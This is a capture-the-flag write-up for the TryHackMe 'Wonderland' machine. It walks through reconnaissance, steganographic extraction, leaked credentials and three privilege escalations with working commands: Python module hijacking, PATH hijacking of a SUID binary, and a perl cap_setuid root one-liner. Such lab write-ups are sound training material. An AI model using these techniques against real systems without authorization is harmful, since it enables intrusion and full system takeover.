Wonderland

These notes are from a challenge I did @tryhackme called wonderland.

First Checks

Let's scan for open ports first: nmap -sC -sV 10.10.28.31

Let's search for paths on the webpage on port 80: gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.28.31:80

Steganography

Looking at http://10.10.28.31/img/ we see the following files:

• alice_door.jpg
• alice_door.png
• white_rabbit_1.jpg

Let's download them all:

wget http://10.10.28.31/img/alice_door.jpg
wget http://10.10.28.31/img/alice_door.png
wget http://10.10.28.31/img/white_rabbit_1.jpg

and run steghide...

Unfortunately alice_door.jpg and alice_door.png don't show any result (at least not without a passphrase...) but white_rabbit_1.jpg seems promissing:

steghide extract -sf white_rabbit_1.jpg -p ''

the file "hint.txt" does already exist. overwrite ? (y/n) y
wrote extracted data to "hint.txt".
cat hint.txt
follow the r a b b i t

The hint means to follow this path: http://10.10.28.31/r/a/b/b/i/t/

Viewing the HTML code we see:

<p style="display: none;">alice:HowDothTheLittleCrocodileImproveHisShiningTail</p>

Login as alice

Let's try to login using those credentials: ssh alice@10.10.28.31

It is strange to see root.txt in the folder of alice.find ./ -type f -iname "user.txt" doesn't reveal anything. The hint "Everything is upside down here." means if root.txt is here, maybe user.txt is under /root. We can directly read user.txt by runningcat /root/user.txt. lol...

Escalate privileges to rabbit

We see walrus_and_the_carpenter.py imports and calls random to get 10 random lines from the alice in wonderland lyrics stored in the file:

import random
[...]
for i in range(10):
    line = random.choice(poem.split("\n"))
    print("The line was:\t", line)a

Running sudo -l shows we can run walrus_and_the_carpenter.py as rabbit:

To escalate privileges we can misuse the fact that we can run walrus_and_the_carpenter.py by creating our own random.py with the following content to overwrite the random function imported and called in walrus_and_the_carpenter.py

import os

def choice(argument):
    os.system("/bin/bash")

Running walrus_and_the_carpenter.py with our random.py will now give us prompt as rabbit:

sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

Tea Party

As rabbit we see the following files in home:

drwxr-x--- 2 rabbit rabbit  4096 May 25  2020 .
drwxr-xr-x 6 root   root    4096 May 25  2020 ..
lrwxrwxrwx 1 root   root       9 May 25  2020 .bash_history -> /dev/null
-rw-r--r-- 1 rabbit rabbit   220 May 25  2020 .bash_logout
-rw-r--r-- 1 rabbit rabbit  3771 May 25  2020 .bashrc
-rw-r--r-- 1 rabbit rabbit   807 May 25  2020 .profile
-rwsr-sr-x 1 root   root   16816 May 25  2020 teaParty

Running teaParty we get the following:

rabbit@wonderland:/home/rabbit$ ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by Thu, 21 Oct 2021 20:39:50 +0000
Ask very nicely, and I will give you some tea while you wait for him

Let's copy teaParty to the kali machine and view it in detail with strings teaParty:

We see the program calls date in this line: /bin/echo -n 'Probably by ' && date --date='next hour' -R. Just like with "random" from above, let's create our own date file e.g.:

#!/bin/sh
bash

Now, let's change the file to be executable by everyone: chmod +x date and add it to the path variables: PATH=/home/rabbit:$PATH

If we now execute ./teaParty we get a shell as hatter:

Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by hatter@wonderland:/home/rabbit$

We can see the hatter password in /home/hatter/password.txt

Login as hatter

Since we have the user name and password, let' us login with ssh: ssh hatter@10.10.28.31

sudo -l, find / -perm -u=s -type f 2>/dev/null and find / -xdev -user hatter 2>/dev/null don't reveal any interesting output but find / -xdev -group hatter 2>/dev/null shows group hatter owns perl. Unfortunately sudo is not possible and the suid bit isn’t set on the perl executable.

There is another thing we can check: With getcap -r / 2>/dev/null we can check for "capabilities" and we see perl in the list:

/usr/bin/perl5.26.1 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep

Let's run a perl script misusing the capabilities from GTOBins: "If the binary has the Linux CAP_SETUID capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileged access by manipulating its own process UID."

/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

We are now root and can read the root.txt in the home folder of alice:

cat /home/alice/root.txt